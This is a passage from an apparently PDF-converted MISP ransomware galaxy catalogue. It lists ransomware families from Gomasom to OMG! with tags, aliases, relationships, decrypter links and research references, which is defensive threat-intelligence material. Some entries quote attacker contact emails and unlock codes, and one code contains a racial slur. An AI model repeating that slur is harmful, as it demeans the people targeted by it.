- similar: `misp-galaxy:ransomware="Zyklon"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Zyklon"` with `estimative-language:likelihood-probability="likely"`

Table 7625. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.ru/2016/05/gnl-locker-ransomware-gnl-locker-ip.html">http://id-ransomware.blogspot.ru/2016/05/gnl-locker-ransomware-gnl-locker-ip.html</a></td>
</tr>
</tbody>
</table>

**Gomasom**

Ransomware

The tag is: `misp-galaxy:ransomware="Gomasom"`

Table 7626. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/">https://decrypter.emsisoft.com/</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/gomasom-ransomware-gnl-locker-ip.html">http://id-ransomware.blogspot.com/2016/05/gomasom-ransomware-gnl-locker-ip.html</a></td>
</tr>
</tbody>
</table>

**Goopic**

Ransomware
The tag is: misp-galaxy:ransomware="Goopic"

Table 7627. Table References

Links


**Gopher**

Ransomware OS X ransomware (PoC)

The tag is: misp-galaxy:ransomware="Gopher"

**Hacked**

Ransomware Jigsaw Ransomware variant

The tag is: misp-galaxy:ransomware="Hacked"

Table 7628. Table References

Links

https://twitter.com/demonslay335/status/806878803507101696

http://id-ransomware.blogspot.com/2016/12/hackedlocker-ransomware.html

**HappyDayzz**

Ransomware

The tag is: misp-galaxy:ransomware="HappyDayzz"

Table 7629. Table References

Links

https://twitter.com/malwrhunterteam/status/847114064224497666

http://id-ransomware.blogspot.com/2017/03/happydayzz-blackjocker-ransomware.html

**Harasom**

Ransomware

The tag is: misp-galaxy:ransomware="Harasom"

Table 7630. Table References

Links

https://decrypter.emsisoft.com/
**HDDCryptor**

Ransomware Uses [https://diskcryptor.net](https://diskcryptor.net) for full disk encryption

The tag is: `misp-galaxy:ransomware="HDDCryptor"`

HDDCryptor is also known as:

- Mamba

View relationships graph

HDDCryptor has relationships with:

- similar: `misp-galaxy:malpedia="Mamba"` with estimative-language:likelihood-probability="likely"

**Table 7631. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Heimdall**

Ransomware File marker: "Heimdall---"

The tag is: `misp-galaxy:ransomware="Heimdall"`

**Table 7632. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Help_dcfle**

Ransomware

The tag is: `misp-galaxy:ransomware="Help_dcfle"`

**Table 7633. Table References**
Herbst

Ransomware

The tag is: misp-galaxy:ransomware="Herbst"

View relationships graph

Herbst has relationships with:

- similar: misp-galaxy:malpedia="Herbst" with estimative-language:likelihood-probability="likely"

Table 7634. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Hi Buddy!

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="Hi Buddy!"

Table 7635. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/hibuddy.html">http://www.nyxbone.com/malware/hibuddy.html</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.ru/2016/05/hi-buddy-ransomware-aes-256-0.html">http://id-ransomware.blogspot.ru/2016/05/hi-buddy-ransomware-aes-256-0.html</a></td>
</tr>
</tbody>
</table>

Hitler

Ransomware Deletes files

The tag is: misp-galaxy:ransomware="Hitler"

Table 7636. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/jiriatvirlab/status/825310545800740864">https://twitter.com/jiriatvirlab/status/825310545800740864</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/08/hitler-ransomware.html">http://id-ransomware.blogspot.com/2016/08/hitler-ransomware.html</a></td>
</tr>
</tbody>
</table>
HolyCrypt
Ransomware

The tag is: misp-galaxy:ransomware="HolyCrypt"

View relationships graph

HolyCrypt has relationships with:

- similar: misp-galaxy:ransomware="Dablio Ransomware" with estimative-language:likelihood-probability="likely"

Table 7637. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/07/holycrypt-ransomware.html">https://id-ransomware.blogspot.com/2016/07/holycrypt-ransomware.html</a></td>
</tr>
</tbody>
</table>

HTCryptor
Ransomware Includes a feature to disable the victim's windows firewall Modified in-dev

HiddenTear

The tag is: misp-galaxy:ransomware="HTCryptor"

Table 7638. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/803288396814839808">https://twitter.com/BleepinComputer/status/803288396814839808</a></td>
</tr>
</tbody>
</table>

HydraCrypt
Ransomware CrypBoss Family

The tag is: misp-galaxy:ransomware="HydraCrypt"

Table 7639. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/">https://decrypter.emsisoft.com/</a></td>
</tr>
<tr>
<td><a href="http://www.malware-traffic-analysis.net/2016/02/03/index2.html">http://www.malware-traffic-analysis.net/2016/02/03/index2.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/hydracrypt-ransomware-aes-256-cbc-rsa.html">https://id-ransomware.blogspot.com/2016/06/hydracrypt-ransomware-aes-256-cbc-rsa.html</a></td>
</tr>
</tbody>
</table>
iLock
Ransomware
The tag is: misp-galaxy:ransomware="iLock"

Table 7640. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/817085367144873985">https://twitter.com/BleepinComputer/status/817085367144873985</a></td>
</tr>
</tbody>
</table>

iLockLight
Ransomware
The tag is: misp-galaxy:ransomware="iLockLight"

International Police Association
Ransomware CryptoTorLocker2015 variant
The tag is: misp-galaxy:ransomware="International Police Association"

Table 7641. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe">http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe</a></td>
</tr>
</tbody>
</table>

iRansom
Ransomware
The tag is: misp-galaxy:ransomware="iRansom"

Table 7642. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/796134264744083460">https://twitter.com/demonslay335/status/796134264744083460</a></td>
</tr>
</tbody>
</table>

JagerDecryptor
Ransomware Prepends filenames
The tag is: misp-galaxy:ransomware="JagerDecryptor"

Table 7643. Table References
Jeiphoos

Ransomware Windows, Linux. Campaign stopped. Actor claimed he deleted the master key.

The tag is: `misp-galaxy:ransomware="Jeiphoos"`

Jeiphoos is also known as:

- Encryptor RaaS
- Sarento

Table 7644. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.nyxbone.com/malware/RaaS.html">https://www.nyxbone.com/malware/RaaS.html</a></td>
</tr>
</tbody>
</table>

Jhon Woddy

Ransomware Same codebase as DNRansomware Lock screen password is M3VZ>5BwGGVH

The tag is: `misp-galaxy:ransomware="Jhon Woddy"`

Table 7645. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip">https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/BleepinComputer/status/822509105487245317">https://twitter.com/BleepinComputer/status/822509105487245317</a></td>
</tr>
</tbody>
</table>

Jigsaw

Ransomware Has a GUI

The tag is: `misp-galaxy:ransomware="Jigsaw"`

Jigsaw is also known as:

- CryptoHitMan
- Jigsaw Original

View relationships graph

Jigsaw has relationships with:
• similar: misp-galaxy:malpedia="Jigsaw" with estimative-language:likelihood-probability="likely"

Table 7646. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/">https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/795819556166139905">https://twitter.com/demonslay335/status/795819556166139905</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/04/jigsaw-ransomware.html">https://id-ransomware.blogspot.com/2016/04/jigsaw-ransomware.html</a></td>
</tr>
</tbody>
</table>

Job Crypter

Ransomware Based on HiddenTear, but uses TripleDES, decrypter is PoC

The tag is: misp-galaxy:ransomware="Job Crypter"

Job Crypter is also known as:

• JobCrypter

Table 7647. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/jobcrypter.html">http://www.nyxbone.com/malware/jobcrypter.html</a></td>
</tr>
<tr>
<td><a href="http://forum.malekal.com/jobcrypter-geniesanstravaille-extension-locked-crypto-ransomware-t54381.html">http://forum.malekal.com/jobcrypter-geniesanstravaille-extension-locked-crypto-ransomware-t54381.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/828914052973858816">https://twitter.com/malwrhunterteam/status/828914052973858816</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/jobcrypter-ransomware.html">http://id-ransomware.blogspot.com/2016/05/jobcrypter-ransomware.html</a></td>
</tr>
</tbody>
</table>

JohnyCryptor

Ransomware

The tag is: misp-galaxy:ransomware="JohnyCryptor"

Table 7648. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/04/johnycryptor-ransomware.html">http://id-ransomware.blogspot.com/2016/04/johnycryptor-ransomware.html</a></td>
</tr>
</tbody>
</table>

KawaiiLocker

Ransomware

The tag is: misp-galaxy:ransomware="KawaiiLocker"
**KeRanger**

Ransomware OS X Ransomware

The tag is: *misp-galaxy:ransomware="KeRanger"*

View relationships graph

KeRanger has relationships with:

- similar: *misp-galaxy:malpedia="KeRanger"* with *estimative-language:likelihood-probability="likely"*

**KeyBTC**

Ransomware

The tag is: *misp-galaxy:ransomware="KeyBTC"*

**KEYHolder**

Ransomware via remote attacker. tuyuljahat@hotmail.com contact address

The tag is: *misp-galaxy:ransomware="KEYHolder"*
**KillerLocker**

Ransomware Possibly Portuguese dev

The tag is: *misp-galaxy:ransomware="KillerLocker"*

*Table 7653. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/782232299840634881">https://twitter.com/malwrhunterteam/status/782232299840634881</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/10/killerlocker-ransomware.html">http://id-ransomware.blogspot.com/2016/10/killerlocker-ransomware.html</a></td>
</tr>
</tbody>
</table>

**KimcilWare**

Ransomware websites only

The tag is: *misp-galaxy:ransomware="KimcilWare"*

*Table 7654. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.fortinet.com/post/kimcilware-ransomware-how-to-decrypt-encrypted-files-and-who-is-behind-it">https://blog.fortinet.com/post/kimcilware-ransomware-how-to-decrypt-encrypted-files-and-who-is-behind-it</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/04/kimcilware-ransomware.html">http://id-ransomware.blogspot.com/2016/04/kimcilware-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Korean**

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Korean"*

*Table 7655. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/koreanRansom.html">http://www.nyxbone.com/malware/koreanRansom.html</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/08/korean-ransomware.html">http://id-ransomware.blogspot.com/2016/08/korean-ransomware.html</a></td>
</tr>
</tbody>
</table>
Kozy.Jozy
Ransomware Potential Kit
unlock92@india.com
kozy.jozy@yahoo.com
kozy.jozy@yahoo.com
unlock92@india.com
kozy.jozy@yahoo.com
The tag is: misp-galaxy:ransomware="Kozy.Jozy"

Kozy.Jozy is also known as:

• QC

Table 7656. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nyxbone.com/malware/KozyJozy.html">http://www.nyxbone.com/malware/KozyJozy.html</a></td>
</tr>
<tr>
<td><a href="http://www.bleepingcomputer.com/forums/t/617802/kozyjozy-ransomware-help-support-wjpg-31392e30362e32303136-num-1sbyj1/">http://www.bleepingcomputer.com/forums/t/617802/kozyjozy-ransomware-help-support-wjpg-31392e30362e32303136-num-1sbyj1/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/kozy.html">https://id-ransomware.blogspot.com/2016/06/kozy.html</a></td>
</tr>
</tbody>
</table>

KratosCrypt
Ransomware kratosdimetrici@gmail.com

The tag is: misp-galaxy:ransomware="KratosCrypt"

Table 7657. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/746090483722686465">https://twitter.com/demonslay335/status/746090483722686465</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/kratoscrypt-ransomware-aes-256-0.html">https://id-ransomware.blogspot.com/2016/06/kratoscrypt-ransomware-aes-256-0.html</a></td>
</tr>
</tbody>
</table>

KryptoLocker
Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="KryptoLocker"

Table 7658. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/07/kryptolocker-ransomware-aes-256.html">https://id-ransomware.blogspot.com/2016/07/kryptolocker-ransomware-aes-256.html</a></td>
</tr>
</tbody>
</table>

LanRan
Ransomware Variant of open-source MyLittleRansomware

The tag is: misp-galaxy:ransomware="LanRan"
LeChiffre

Ransomware Encrypts first 0x2000 and last 0x2000 bytes. Via remote attacker

The tag is: `misp-galaxy:ransomware="LeChiffre"`

Lick

Ransomware Variant of Kirk

The tag is: `misp-galaxy:ransomware="Lick"`

Linux.Encoder

Ransomware Linux Ransomware

The tag is: `misp-galaxy:ransomware="Linux.Encoder"`

Linux.Encoder is also known as:

- Linux.Encoder.{0,3}
LK Encryption

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="LK Encryption"

Table 7663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/845183290873044994">https://twitter.com/malwrhunterteam/status/845183290873044994</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/03/lk-encryption-ransomware.html">http://id-ransomware.blogspot.com/2017/03/lk-encryption-ransomware.html</a></td>
</tr>
</tbody>
</table>

LLTP Locker

Ransomware Targeting Spanish speaking victims

The tag is: misp-galaxy:ransomware="LLTP Locker"

Table 7664. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/03/lltp-ransomware.html">http://id-ransomware.blogspot.com/2017/03/lltp-ransomware.html</a></td>
</tr>
</tbody>
</table>

Locker

Ransomware has GUI

The tag is: misp-galaxy:ransomware="Locker"

Locker is also known as:

• LockeR

Table 7665. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

LockLock

Ransomware

The tag is: misp-galaxy:ransomware="LockLock"
Locky

Ransomware Affiliations with Dridex and Necurs botnets

The tag is: `misp-galaxy:ransomware="Locky"`

Locky is also known as:

- Locky-Odin
- Locky-Osiris
- Locky-Osiris 2016
- Locky-Osiris 2017

View relationships graph

Locky has relationships with:

- similar: `misp-galaxy:malpedia="Locky"` with `estimative-language:likelihood-probability="likely"

Lortok

Ransomware

The tag is: `misp-galaxy:ransomware="Lortok"`

Table 7667. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nakedsecurity.sophos.com/2016/10/06/odin-ransomware-takes-over-from-zepto-and-locky/">https://nakedsecurity.sophos.com/2016/10/06/odin-ransomware-takes-over-from-zepto-and-locky/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/02/locky.html">https://id-ransomware.blogspot.com/2016/02/locky.html</a></td>
</tr>
</tbody>
</table>
LowLevel04

Ransomware Prepends filenames

The tag is: misp-galaxy:ransomware="LowLevel04"

Table 7669. Table References

Links
http://id-ransomware.blogspot.com/2016/04/lowlevel04-ransomware.html

M4N1F3STO

Ransomware Does not encrypt Unlock code=suckmydicknigga

The tag is: misp-galaxy:ransomware="M4N1F3STO"

Table 7670. Table References

Links
https://twitter.com/jiriatvirlab/status/808015275367002113
http://id-ransomware.blogspot.com/2016/12/m4n1f3sto-ransomware.html

Mabouia

Ransomware OS X ransomware (PoC)

The tag is: misp-galaxy:ransomware="Mabouia"

Table 7671. Table References

Links
https://www.youtube.com/watch?v=9nJv_PN2m1Y

MacAndChess

Ransomware Based on HiddenTear

The tag is: misp-galaxy:ransomware="MacAndChess"

Table 7672. Table References

Links
http://id-ransomware.blogspot.com/2017/03/macandchess-ransomware.html
Magic
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="Magic"

Table 7673. Table References

Links
http://id-ransomware.blogspot.com/2016/04/magic-ransomware.html

Maktub Locker
Ransomware
The tag is: misp-galaxy:ransomware="Maktub Locker"

Table 7674. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/
http://id-ransomware.blogspot.com/2016/04/maktub-locker-ransomware.html

Mars Joke
Ransomware
The tag is: misp-galaxy:ransomware="Mars Joke"

Table 7675. Table References

Links
https://securelist.ru/blog/issledovaniya/29376/polyglot-the-fake-ctb-locker/

Meister
Ransomware Targeting French victims
The tag is: misp-galaxy:ransomware="Meister"

Table 7676. Table References

Links
https://twitter.com/siri_ urz/status/840913419024945152
**Meteoritan**

Ransomware

The tag is: `misp-galaxy:ransomware="Meteoritan"`

*Table 7677. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/844614889620561924">https://twitter.com/malwrhunterteam/status/844614889620561924</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/03/meteoritan-ransomware.html">http://id-ransomware.blogspot.com/2017/03/meteoritan-ransomware.html</a></td>
</tr>
</tbody>
</table>

**MIRCOP**

Ransomware Prepends files Demands 48.48 BTC

The tag is: `misp-galaxy:ransomware="MIRCOP"`

MIRCOP is also known as:

- Crypt888
- MicroCop

*Table 7678. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.avast.com/ransomware-decryption-tools#">https://www.avast.com/ransomware-decryption-tools#</a>!</td>
</tr>
<tr>
<td><a href="http://www.nyxbone.com/malware/Mircop.html">http://www.nyxbone.com/malware/Mircop.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/mircop-ransomware-4848.html">https://id-ransomware.blogspot.com/2016/06/mircop-ransomware-4848.html</a></td>
</tr>
</tbody>
</table>

**MireWare**

Ransomware Based on HiddenTear

The tag is: `misp-galaxy:ransomware="MireWare"`

*Table 7679. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/mireware-ransomware.html">http://id-ransomware.blogspot.com/2016/05/mireware-ransomware.html</a></td>
</tr>
</tbody>
</table>
**Mischa**

Ransomware Packaged with Petya PDFBewerbungsmappe.exe

The tag is: `misp-galaxy:ransomware="Mischa"`

Mischa is also known as:

- "Petya's little brother"
- Misha
- Petya+Mischa
- Petya-2

---

**Links**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/05/petya-mischa-ransomware.html">https://id-ransomware.blogspot.com/2016/05/petya-mischa-ransomware.html</a></td>
</tr>
</tbody>
</table>

---

**MM Locker**

Ransomware Based on EDA2

The tag is: `misp-galaxy:ransomware="MM Locker"`

MM Locker is also known as:

- Booyah

---

**View relationships graph**

MM Locker has relationships with:

- similar: `misp-galaxy:ransomware="Booyah"` with estimative-language:likelihood-probability="likely"

---

**Links**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/mm-locker-ransomware-aes-2256-1.html">https://id-ransomware.blogspot.com/2016/06/mm-locker-ransomware-aes-2256-1.html</a></td>
</tr>
</tbody>
</table>

---

**Mobef**

Ransomware
The tag is: `misp-galaxy:ransomware="Mobef"`

Mobef is also known as:

- Yakes
- CryptoBit

View relationships graph

Mobef has relationships with:

- similar: `misp-galaxy:ransomware="CryptoBit"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:ransomware="Mobef-JustFun"` with `estimative-language:likelihood-probability="likely"`

<table>
<thead>
<tr>
<th>Table 7682. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://nyxbone.com/malware/Mobef.html">http://nyxbone.com/malware/Mobef.html</a></td>
</tr>
<tr>
<td><a href="http://nyxbone.com/images/articulos/malware/mobef/0.png">http://nyxbone.com/images/articulos/malware/mobef/0.png</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/mobef-yakes-ransomware-4-bitcoins-2000.html">http://id-ransomware.blogspot.com/2016/05/mobef-yakes-ransomware-4-bitcoins-2000.html</a></td>
</tr>
</tbody>
</table>

**Monument**

Ransomware Use the DarkLocker 5 porn screenlocker - Jigsaw variant

The tag is: `misp-galaxy:ransomware="Monument"`

<table>
<thead>
<tr>
<th>Table 7683. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/844826339186135040">https://twitter.com/malwrhunterteam/status/844826339186135040</a></td>
</tr>
</tbody>
</table>

**N-Splitter**

Ransomware Russian Koolova Variant

The tag is: `misp-galaxy:ransomware="N-Splitter"`

<table>
<thead>
<tr>
<th>Table 7684. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/815961663644008448">https://twitter.com/JakubKroustek/status/815961663644008448</a></td>
</tr>
</tbody>
</table>
n1n1n1

Ransomware Filemaker: "333333333333"

The tag is: misp-galaxy:ransomware="n1n1n1"

n1n1n1 is also known as:

• N1N1N1

Table 7685. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/790608484303712256">https://twitter.com/demonslay335/status/790608484303712256</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/demonslay335/status/831891344897482754">https://twitter.com/demonslay335/status/831891344897482754</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/09/n1n1n1-ransomware.html">http://id-ransomware.blogspot.com/2016/09/n1n1n1-ransomware.html</a></td>
</tr>
</tbody>
</table>

NanoLocker

Ransomware no extension change, has a GUI

The tag is: misp-galaxy:ransomware="NanoLocker"

View relationships graph

NanoLocker has relationships with:

• similar: misp-galaxy:malpedia="NanoLocker" with estimative-language:likelihood-probability="likely"

Table 7686. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://github.com/Cyberclues/nanolocker-decryptor">http://github.com/Cyberclues/nanolocker-decryptor</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2016/06/nanolocker-ransomware-aes-256-rsa-01.html">https://id-ransomware.blogspot.com/2016/06/nanolocker-ransomware-aes-256-rsa-01.html</a></td>
</tr>
</tbody>
</table>

Nemucod

Ransomware 7zip (a0.exe) variant cannot be decrypted Encrypts the first 2048 Bytes

The tag is: misp-galaxy:ransomware="Nemucod"

Nemucod is also known as:

• Nemucod-7z
- Nemucod-AES

**Table 7687. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/nemucod">https://decrypter.emsisoft.com/nemucod</a></td>
</tr>
<tr>
<td><a href="https://github.com/Antelox/NemucodFR">https://github.com/Antelox/NemucodFR</a></td>
</tr>
<tr>
<td><a href="https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/">https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/04/nemucod-ransomware.html">http://id-ransomware.blogspot.com/2016/04/nemucod-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Netix**

Ransomware

The tag is: `misp-galaxy:ransomware="Netix"`

Netix is also known as:

- RANSOM_NETIX.A

**Table 7688. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/01/netflix-ransomware.html">https://id-ransomware.blogspot.com/2017/01/netflix-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Nhtnwcuf**

Ransomware Does not encrypt the files / Files are destroyed

The tag is: `misp-galaxy:ransomware="Nhtnwcuf"`

**Table 7689. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/demonslay335/status/839221457360195589">https://twitter.com/demonslay335/status/839221457360195589</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2017/03/nhtnwcuf-ransomware.html">http://id-ransomware.blogspot.com/2017/03/nhtnwcuf-ransomware.html</a></td>
</tr>
</tbody>
</table>

**NMoreira**

Ransomware

The tag is: `misp-galaxy:ransomware="NMoreira"`

NMoreira is also known as:
• X Rat Team
• X Pan

Table 7690. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decrypter.emsisoft.com/nmoreira">https://decrypter.emsisoft.com/nmoreira</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/fwosar/status/803682662481174528">https://twitter.com/fwosar/status/803682662481174528</a></td>
</tr>
<tr>
<td>id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html</td>
</tr>
</tbody>
</table>

NoobCrypt

Ransomware

The tag is: misp-galaxy:ransomware="NoobCrypt"

Table 7691. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/JakubKroustek/status/757267550346641408">https://twitter.com/JakubKroustek/status/757267550346641408</a></td>
</tr>
</tbody>
</table>

Nuke

Ransomware

The tag is: misp-galaxy:ransomware="Nuke"

Table 7692. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/10/nuke-ransomware.html">http://id-ransomware.blogspot.com/2016/10/nuke-ransomware.html</a></td>
</tr>
</tbody>
</table>

Nullbyte

Ransomware

The tag is: misp-galaxy:ransomware="Nullbyte"

Table 7693. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip">https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip</a></td>
</tr>
</tbody>
</table>
ODCODC

Ransomware

The tag is: `misp-galaxy:ransomware="ODCODC"`

Table 7694. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://download.bleepingcomputer.com/BloodDolly/ODCODCDecoder.zip">http://download.bleepingcomputer.com/BloodDolly/ODCODCDecoder.zip</a></td>
</tr>
<tr>
<td><a href="http://www.nyxbone.com/malware/odcodc.html">http://www.nyxbone.com/malware/odcodc.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/PolarToffee/status/813762510302183424">https://twitter.com/PolarToffee/status/813762510302183424</a></td>
</tr>
<tr>
<td><a href="http://www.nyxbone.com/images/articulos/malware/odcodc/1c.png">http://www.nyxbone.com/images/articulos/malware/odcodc/1c.png</a></td>
</tr>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2016/05/odcodc-ransomware-rsa-2048.html">http://id-ransomware.blogspot.com/2016/05/odcodc-ransomware-rsa-2048.html</a></td>
</tr>
</tbody>
</table>

Offline ransomware

Ransomware email addresses overlap with .777 addresses

The tag is: `misp-galaxy:ransomware="Offline ransomware"`

Offline ransomware is also known as:

- Vipasana
- Cryakl

View relationships graph

Offline ransomware has relationships with:

- similar: `misp-galaxy:ransomware="Cryakl"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Cryakl"` with `estimative-language:likelihood-probability="likely"`

Table 7695. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.kaspersky.com/viruses/disinfection/8547">https://support.kaspersky.com/viruses/disinfection/8547</a></td>
</tr>
</tbody>
</table>
**OMG! Ransomware**

Ransomware. Infection: drive-by-download; Platform: Windows; Extortion by Prepaid Voucher

